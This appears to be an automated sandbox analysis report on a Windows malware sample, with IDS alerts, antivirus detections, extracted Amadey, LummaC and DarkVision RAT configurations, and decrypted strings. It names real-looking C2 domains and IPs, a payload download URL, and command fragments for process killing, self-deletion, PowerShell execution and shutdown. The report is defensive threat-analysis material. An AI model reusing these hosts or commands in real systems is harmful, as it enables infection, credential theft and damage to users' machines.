2025-03-13T08:08:23.893279+0100	2028371	3	Unknown Traffic	192.168.2.6	61669	188.114.96.3	443	TCP
2025-03-13T08:08:24.725021+0100	2028371	3	Unknown Traffic	192.168.2.6	61670	188.114.96.3	443	TCP
2025-03-13T08:08:26.397404+0100	2028371	3	Unknown Traffic	192.168.2.6	61673	188.114.96.3	443	TCP
2025-03-13T08:08:27.495236+0100	2028371	3	Unknown Traffic	192.168.2.6	61674	188.114.96.3	443	TCP
2025-03-13T08:08:28.097724+0100	2028371	3	Unknown Traffic	192.168.2.6	61675	188.114.96.3	443	TCP
2025-03-13T08:08:28.994643+0100	2028371	3	Unknown Traffic	192.168.2.6	61678	188.114.96.3	443	TCP
2025-03-13T08:08:31.044443+0100	2028371	3	Unknown Traffic	192.168.2.6	61680	188.114.96.3	443	TCP
2025-03-13T08:08:31.072851+0100	2028371	3	Unknown Traffic	192.168.2.6	61681	188.114.96.3	443	TCP
2025-03-13T08:08:31.930355+0100	2028371	3	Unknown Traffic	192.168.2.6	61683	188.114.96.3	443	TCP
2025-03-13T08:08:33.642775+0100	2028371	3	Unknown Traffic	192.168.2.6	61684	188.114.96.3	443	TCP
2025-03-13T08:08:33.716829+0100	2028371	3	Unknown Traffic	192.168.2.6	61685	104.26.9.202	443	TCP
2025-03-13T08:08:34.828682+0100	2028371	3	Unknown Traffic	192.168.2.6	61688	188.114.96.3	443	TCP
2025-03-13T08:08:35.004635+0100	2028371	3	Unknown Traffic	192.168.2.6	61686	188.114.96.3	443	TCP
2025-03-13T08:08:36.513389+0100	2028371	3	Unknown Traffic	192.168.2.6	61689	104.21.48.1	443	TCP
2025-03-13T08:08:36.811716+0100	2028371	3	Unknown Traffic	192.168.2.6	61690	188.114.96.3	443	TCP
2025-03-13T08:08:38.073665+0100	2028371	3	Unknown Traffic	192.168.2.6	61693	104.26.9.202	443	TCP
2025-03-13T08:08:39.788467+0100	2028371	3	Unknown Traffic	192.168.2.6	61694	188.114.96.3	443	TCP
2025-03-13T08:08:40.103273+0100	2028371	3	Unknown Traffic	192.168.2.6	61695	188.114.96.3	443	TCP
2025-03-13T08:08:40.390343+0100	2028371	3	Unknown Traffic	192.168.2.6	61697	188.114.96.3	443	TCP
2025-03-13T08:08:44.398932+0100	2028371	3	Unknown Traffic	192.168.2.6	61701	188.114.96.3	443	TCP
2025-03-13T08:08:44.686840+0100	2028371	3	Unknown Traffic	192.168.2.6	61702	188.114.96.3	443	TCP
2025-03-13T08:08:47.451939+0100	2028371	3	Unknown Traffic	192.168.2.6	61731	188.114.96.3	443	TCP
2025-03-13T08:08:48.973755+0100	2028371	3	Unknown Traffic	192.168.2.6	61732	188.114.96.3	443	TCP
2025-03-13T08:08:50.531985+0100	2028371	3	Unknown Traffic	192.168.2.6	61734	188.114.96.3	443	TCP
2025-03-13T08:08:54.397087+0100	2028371	3	Unknown Traffic	192.168.2.6	61737	188.114.96.3	443	TCP
2025-03-13T08:08:57.721076+0100	2028371	3	Unknown Traffic	192.168.2.6	61740	188.114.96.3	443	TCP
2025-03-13T08:09:02.617872+0100	2028371	3	Unknown Traffic	192.168.2.6	61742	188.114.96.3	443	TCP
2025-03-13T08:09:08.950895+0100	2028371	3	Unknown Traffic	192.168.2.6	61743	104.21.48.1	443	TCP

ET MALWARE UPX compressed file download possible malware

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:08:42.906545+0100	2001046	3	Misc activity	176.113.115.7	80	192.168.2.6	61700	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:08:35.180654+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61691	82.29.67.160	443	TCP
2025-03-13T08:08:39.465600+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61698	82.29.67.160	443	TCP
2025-03-13T08:08:43.493245+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61706	82.29.67.160	443	TCP
2025-03-13T08:08:47.524509+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61733	82.29.67.160	443	TCP
2025-03-13T08:08:51.571838+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61735	82.29.67.160	443	TCP
2025-03-13T08:08:55.613972+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61739	82.29.67.160	443	TCP
2025-03-13T08:08:59.859490+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61741	82.29.67.160	443	TCP
2025-03-13T08:09:03.894632+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61745	82.29.67.160	443	TCP
2025-03-13T08:09:08.105611+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61747	82.29.67.160	443	TCP
2025-03-13T08:09:12.098828+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61750	82.29.67.160	443	TCP
2025-03-13T08:09:17.609377+0100	2045618	1	A Network Trojan was detected	192.168.2.6	61754	82.29.67.160	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:08:05.864701+0100	2856147	1	A Network Trojan was detected	192.168.2.6	61658	176.113.115.6	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:08:10.528216+0100	2803305	3	Unknown Traffic	192.168.2.6	61660	176.113.115.7	80	TCP
2025-03-13T08:08:17.527086+0100	2803305	3	Unknown Traffic	192.168.2.6	61663	176.113.115.7	80	TCP
2025-03-13T08:08:23.981887+0100	2803305	3	Unknown Traffic	192.168.2.6	61671	176.113.115.7	80	TCP
2025-03-13T08:08:30.295922+0100	2803305	3	Unknown Traffic	192.168.2.6	61682	107.174.192.179	80	TCP
2025-03-13T08:08:36.502396+0100	2803305	3	Unknown Traffic	192.168.2.6	61692	176.113.115.7	80	TCP
2025-03-13T08:08:42.776863+0100	2803305	3	Unknown Traffic	192.168.2.6	61700	176.113.115.7	80	TCP
2025-03-13T08:08:55.368746+0100	2803305	3	Unknown Traffic	192.168.2.6	61738	176.113.115.7	80	TCP
2025-03-13T08:09:09.354288+0100	2803305	3	Unknown Traffic	192.168.2.6	61748	176.113.115.7	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 13s1HMkHKv.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://jowinjoinery.icu/	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUag	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUa4j	Avira URL Cloud: Label: malware
Source: citydisco.bet/gdJIS	Avira URL Cloud: Label: malware
Source: https://crosshairc.life/dAnjhw	Avira URL Cloud: Label: malware
Source: http://176.113.115.7/files/7033027882/ZqkKpwG.exe	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUa	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUadb	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/O	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/Y	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/g	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/c	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu//	Avira URL Cloud: Label: malware
Source: https://citydisco.bet/gdJIS	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu:443/bdWUa	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/;	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ZqkKpwG[1].exe	Avira: detection malicious, Label: TR/Crypt.Agent.xahyo
Source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	Avira: detection malicious, Label: TR/AVI.Agent.onlpz
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\eAzoDbY[1].exe	Avira: detection malicious, Label: TR/Crypt.Agent.wdlug
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Avira: detection malicious, Label: TR/Kryptik.vwpow
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\EZs3CZC[1].exe	Avira: detection malicious, Label: TR/AVI.Agent.onlpz
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\8sb9w_003[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\yo7qmvz[1].exe	Avira: detection malicious, Label: TR/Kryptik.vwpow
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Avira: detection malicious, Label: TR/Crypt.Agent.xahyo
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Avira: detection malicious, Label: TR/Crypt.Agent.wdlug
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\s7MG2VL[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "ddf4bb21335e58d5b0f7d6461dc868d9f8edb80615c104e1b714"}
Source: 31.2.svchost.exe.1dbe2750000.0.unpack	Malware Configuration Extractor: DarkVision Rat {"C2": "82.29.67.160", "Port": 443}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ZqkKpwG[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\st22BJg[1].exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\8sb9w_003[1].exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\yo7qmvz[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\eAzoDbY[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	ReversingLabs: Detection: 29%
Source: C:\Windows\Temp\gvh50gjo_3616.sys	ReversingLabs: Detection: 20%

Multi AV Scanner detection for submitted file

Source: 13s1HMkHKv.exe	Virustotal: Detection: 58%			Perma Link
Source: 13s1HMkHKv.exe	ReversingLabs: Detection: 60%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 176.113.115.6
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: S-%lu-
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: bb556cff4a
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: rapes.exe
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Startup
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: rundll32
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Programs
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: %USERPROFILE%
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: cred.dll
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: clip.dll
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: http://
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: https://
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: /quiet
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: /Plugins/
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: &unit=
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: shell32.dll
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: kernel32.dll
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: ProgramData\
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: AVAST Software
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Kaspersky Lab
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Panda Security
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Doctor Web
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 360TotalSecurity
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Bitdefender
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Norton
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Sophos
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Comodo
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: WinDefender
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 0123456789
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: ------
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: ?scr=1
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: ComputerName
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: -unicode-
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: VideoID
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: ProductName
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: CurrentBuild
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: rundll32.exe
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: "taskkill /f /im "
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: " && timeout 1 && del
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: && Exit"
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: " && ren
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Powershell.exe
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: shutdown -s -t 0
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: random
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 00000419
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 00000422
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 00000423
Source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	String decryptor: 0000043f
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: citydisco.bet/gdJIS
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: featureccus.shop/bdMAn
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mrodularmall.top/aNzS
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: jowinjoinery.icu/bdWUa
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: legenassedk.top/bdpWO
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: htardwarehu.icu/Sbdsa
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cjlaspcorne.icu/DbIps
Source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bugildbett.top/bAuz

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041EE8D CryptUnprotectData,CryptUnprotectData,	17_2_0041EE8D
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041F9B0 CryptUnprotectData,	17_2_0041F9B0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041B970 CryptUnprotectData,	17_2_0041B970

Source: ps.exe, 00000026.00000002.2203329798.0000000140010000.00000004.00000001.01000000.00000013.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_201bcc45-e

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 28.2.8sb9w_003.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.svchost.exe.1dbe2750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.8sb9w_003.exe.83afc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.8sb9w_003.exe.83afc8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2039011701.0000000000434000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2469971107.000001DBE2788000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2039794527.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8sb9w_003.exe PID: 4840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4260, type: MEMORYSTR

Bitcoin Miner

Yara detected Fallen Miner

Source: Yara match	File source: 50.2.EZs3CZC.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.0.EZs3CZC.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\EZs3CZC[1].exe, type: DROPPED

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Unpacked PE file: 38.2.ps.exe.910000.0.unpack

Source: 13s1HMkHKv.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\file.exe

File opened: C:\Users\user\AppData\Local\Temp\msvcr80.dll

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61673 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.202:443 -> 192.168.2.6:61685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:61689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:61740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:61743 version: TLS 1.2

Source:	Binary string: C:\Users\PC\Desktop\programms\1LOADER_PROXY\C#installer\ConsoleApp1\ConsoleApp1\obj\Release\net6.0\win-x64\ConsoleApp1.pdb source: rapes.exe, 0000000B.00000002.2491465283.00000000061F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdb source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdbcccGCTL source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\Users\PC\Desktop\programms\1LOADER_PROXY\C#installer\ConsoleApp1\ConsoleApp1\obj\Release\net6.0\win-x64\ConsoleApp1.pdbSHA256 source: rapes.exe, 0000000B.00000002.2491465283.00000000061F0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C2FCDE FindFirstFileExW,	15_2_00C2FCDE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C2FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_00C2FD8F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C2FCDE FindFirstFileExW,	17_2_00C2FCDE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C2FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_00C2FD8F

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], esi	17_2_0044D840
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1FFE9D9Ch]	17_2_004208E0
